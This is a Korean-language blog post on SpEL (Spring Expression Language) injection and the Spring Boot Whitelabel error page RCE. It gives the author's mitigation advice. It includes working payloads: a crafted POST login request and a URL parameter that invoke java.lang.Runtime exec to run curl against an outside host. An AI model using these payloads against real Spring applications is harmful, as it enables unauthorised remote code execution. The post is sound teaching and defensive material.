SpEL(Spring Expression Language) Injection & Spring boot RCE

Spring boot으로 구성된 서비스들을 점검할 때 꼭 체크해야할 부분 중 하나가 SpEL RCE 입니다. 가끔식 참고삼아 데드풀이 작성한 글(Spring boot RCE) 보는데요, 오늘은 제 블로그에 좀 정리해둘까 합니다.

SpEL Injection에 관한 이야기입니다.

SpEL?

우선 간단하게 SpEL에 대해 알고 넘어갑시다. SpEL은 Spring Expression Language 약자로(되게 뻔한 글쓰는 느낌..) Spring Application에 객체를 찾고 사용할 수 있는 언어입니다. 이런 기능들을 지원한다고 하네요.

 - Literal expressions
 - Boolean and relational operators
 - Regular expressions
 - Class expressions
 - Accessing properties, arrays, lists, maps
 - Method invocation
 - Relational operators
 - Assignment
 - Calling constructors
 - Bean references
 - Array construction
 - Inline lists
 - Ternary operator
 - Variables
 - User defined functions
 - Collection projection
 - Collection selection
 - Templated expressions

여기서 우리가 눈여겨 봐야할 것은 Calling constructors, Method invocation 정도입니다(물론 다른것도 중요하지만..)

결국 Spring에서 SpEL은 생성자를 호출하거나 메소드를 실행할 수 있다가 되는데, SpEL을 외부 입력으로 받아서 처리하는 경우가 많아 문제의 소지가 많습니다. (결국은 SpEL에 우리가 원하는 코드를 넣고 던지면 Spring이 알아서 처리해준단 이야기)

Injection Point & Spring boot RCE

코드를 보고 분석할 수 있는 경우에는 굉장히 쉬워집니다. SpEL을 처리하는 Function과 인자값을 받아주는 곳에 대해 계속 코드 추적을 하면 쉽게 발견할 수 있지요. SpEL을 처리하는 구간은 이렇습니다.

Expression expression = PARSER.parseExpression(Test);

Test 이란 변수에서 값을 받아서 Expression으로 넘기는데, 이 구간에 SpEL이 사용되는 구간입니다. 내부 코드단에선 Expression으로 선언되나 보네요. (전 Spring은 잘 몰라서…)

아무튼 상위에 Test 변수가 값을 받아주는 구간이 있다면 아래와 같은 형태로 코드 실행이 가능하니다. (Test의 변수 값은 위로 올라가 로그인 요청에서 따온다고 합시다, POST Body 값을 SpEL을 통해 처리하기 위해 데이터를 그대로 넘기는 경우)

POST /login HTTP/1.1
Host: localhost:443
Referer: https://localhost:443/login
Content-Type: application/x-www-form-urlencoded
Connection: close

username=user&password=test&repeatedPassword=test&password<strong>[T(java.lang.Runtime).getRuntime().exec("curl http://192.168.0.14:3000/rce")]</strong>=abc

이런식으로 요청이 오고 이 값이 내부에서 parserExpression 메소드로 처리될 때 다른 메소드 실행이 가능해지며(특수문자 필터링 안했으면) 위 코드 기준으론 원격지의 /rce 파일을 curl 명령으로 호출하겠죠.

# [2018-08-26T #866] DEBUG -- : GET /rce

위에서 이야기드린 Spring boot RCE도 같은 원리입니다.

Spring boot은 에러 발생 시 “Whitelabel Error Page” 라는 Spring boot Actuator 에러 페이지를 띄우는데 여기서 에러 메시지 데이터를 내부적으로 SpEL로 처리하며, 에러 내용은 사용자 입력값에 따라 변화될 수 있습니다.

e.g [ Request ]

https://127.0.0.1/test_page?id=ab${12*12}cd

[ Response ]

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

Sat Aug 26 00:26:11 MSK 2018
There was an unexpected error (type=Not Found, status=404).
For input string: ab144cd

이런식으로 id라는 파라미터 값이 에러에 찍히는데, 이 내용이 SpEL로 처리되기 떄문에 ${수식} 을 읽어서 12*12인 144로 출력됩니다. 위에서와 동일하게 java.lang.Runtime을 통해 명령행으로 넘겨주면 명령 실행이 가능합니다.

/test_page?id=${T(java.lang.Runtime).getRuntime().exec('curl http://192.168.0.14:3000/rce')}

대응방안(How to Protect)

우선 SpEL Injection 자체는 다른 Injection 류와 동일하게 특수문자에 대한 제어로 해결이 가능합니다. 결국 Runtime을 실행하기 까지 필요한 특수문자들을 필터링하여 막을 수 있습니다. 대표적인 특수문자는 [] 이며 솔직히 안전만 따지면 해당 기능에서 허용해야하는 포맷 이외에는 모드 처리하지 않도록 수정해야겠지요. 요건 언제나 서비스, 환경 고려해서..

두번쨰로 Spring boot RCE의 경우에는 whitelabel error page 제거로 해결 가능합니다. 해당 에러를 사용해야하는 경우에는 입력값이 흘러가지 않도록 수정이 필요합니다. Spring boot에서 whitelabel error page를 false 처리하고, 아래 브런치 링크 내용과 같이 Custom error 페이지를 만들어주는게 좋겠지요.

server.error.whitelabel.enabled=false

https://brunch.co.kr/@ourlove/70

Reference

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html http://deadpool.sh/2017/RCE-Springs/ https://docs.spring.io/spring-boot/docs/current/reference/html/howto-actuator.html